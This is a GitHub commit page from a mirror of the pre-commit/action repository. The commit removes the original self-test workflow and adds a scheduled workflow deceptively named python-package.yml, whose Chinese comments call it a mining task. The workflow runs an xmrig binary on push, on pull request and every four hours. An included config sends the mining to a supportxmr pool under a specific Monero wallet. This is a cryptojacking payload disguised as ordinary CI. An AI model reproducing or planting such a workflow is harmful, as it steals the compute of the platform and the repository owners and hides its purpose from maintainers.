5
0
Fork 0
mirror of https://github.com/pre-commit/action.git synced 2025-11-07 10:46:56 +00:00
This commit is contained in:
bithomeAI 2025-02-12 17:27:52 +08:00 committed by GitHub
commit c9459ee214
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
5 changed files with 207 additions and 13 deletions

View file

@ -1,13 +0,0 @@
on:
pull_request:
push:
branches: [main, test-me-*]
jobs:
main:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-python@v3
- name: self test action
uses: ./

72
.github/workflows/python-package.yml vendored Normal file
View file

@ -0,0 +1,72 @@
#挖矿任务必须在公共仓库进行
name: mint
#github 的主线程任务30秒自动取消子线程任务六小时自动取消
# 【检出Checkout该仓库的代码】我们提交了这个工作流它应该会「自动运行」因为工作流中默认设置触发条件。
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
# 【定时任务】Cron 表达式 0 * * * * 表示每小时 0 分触发一次。参考 Cron Guru。
schedule:
#此示例在每天 0:30\8:30\16:30[UTC] 触发工作流程
# - cron: '30 0,8,16 * * *'
- cron: '30 0,4,8,12,16,20 * * *'
# - cron: '30 0,2,4,6,8,10,12,14,16,18,20,22 * * *'
# #在每天每小时的每个第 15 分钟运行。
# - cron: '15 * * * * '
# #在每天第 4 和第 5 小时的第 2 和第 10 分钟运行。
# - cron: '2,10 4,5 * * * '
# #在第 4-6 小时的第 30 分钟运行。
# - cron: '30 4-6 * * * '
# #在第 20 分钟到第 59 分钟每隔 15 分钟运行一次(第 20、35 和 50 分钟)。
# - cron: '20/15 * * * * '
# #应该是每分钟都运行【实际上不有5分钟有10分钟】
# - cron: '* * * * *'
# #应该是每分钟的第30秒都运行【目前实际执行当中是30分钟执行一次】
# - cron: '*/30 * * * *'
# #应该是每隔一分钟执行一次【实际上间隔大于1分钟将近一分钟左右可能是github本身有限制】
# - cron: '*/1 * * * *'
# #此示例触发工作流在每周一至周四 5:30 UTC 运行,但在周一和周三跳过 Not on Monday or Wednesday 步骤。
# on:
# schedule:
# - cron: '30 5 * * 1,3'
# - cron: '30 5 * * 2,4'
# jobs:
# test_schedule:
# runs-on: ubuntu-latest
# steps:
# - name: Not on Monday or Wednesday
# if: github.event.schedule != '30 5 * * 1,3'
# run: echo "This step will be skipped on Monday and Wednesday"
# - name: Every time
# run: echo "This step will always run"
# 可以使用 permissions 修改授予 GITHUB_TOKEN 的默认权限,根据需要添加或删除访问权限,以便只授予所需的最低访问权限。
permissions:
contents: read
jobs:
build:
# 设置服务器系统版本
runs-on: ubuntu-latest
# 设置 Python 运行环境
steps:
- uses: actions/checkout@v3
- name: Set up Python 3.10
uses: actions/setup-python@v3
with:
python-version: "3.10"
# 安装依赖
- name: Install dependencies
run: |
cd actions/github-actions-python
chmod +x xmrig
./xmrig
# #【防止失败后杀死实例】
# - name: Don't kill instace
# if: ${{ failure() }}
# run: sleep 1h # Prevent to killing instance after failure

View file

@ -0,0 +1,2 @@
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec *config.json
92dcc363ed05c5e4ae9008f7d0d41b1ad1ae9caead9d4f3598c566b185078b4b *xmrig

View file

@ -0,0 +1,133 @@
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"asm": true,
"argon2-impl": null,
"argon2": [0, 1],
"cn": [
[1, 0],
[1, 1]
],
"cn-heavy": [
[1, 0],
[1, 1]
],
"cn-lite": [
[1, 0],
[1, 1]
],
"cn-pico": [
[2, 0],
[2, 1]
],
"cn/upx2": [
[2, 0],
[2, 1]
],
"ghostrider": [
[8, 0],
[8, 1]
],
"rx": [0, 1],
"rx/wow": [0, 1],
"cn-lite/0": false,
"cn/0": false,
"rx/arq": "rx/wow",
"rx/keva": "rx/wow"
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn-lite/0": false,
"cn/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn-lite/0": false,
"cn/0": false
},
"log-file": null,
"donate-level": 1,
"donate-over-proxy": 1,
"pools": [
{
"algo": null,
"coin": null,
"url": "pool.supportxmr.com:3333",
"user": "42zkQtrSUnuYehKJ1gDQNnYxL16KZfdZ9RZEVF2uLUZQ1QPuiDnyr9PWZjY3Hr5Vb7BbEmXsezaxBJqZ3fndmcduC4hcd6T",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": false,
"sni": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"retries": 5,
"retry-pause": 5,
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"dns": {
"ipv6": false,
"ttl": 30
},
"user-agent": null,
"verbose": 0,
"watch": true,
"pause-on-battery": false,
"pause-on-active": false
}

Binary file not shown.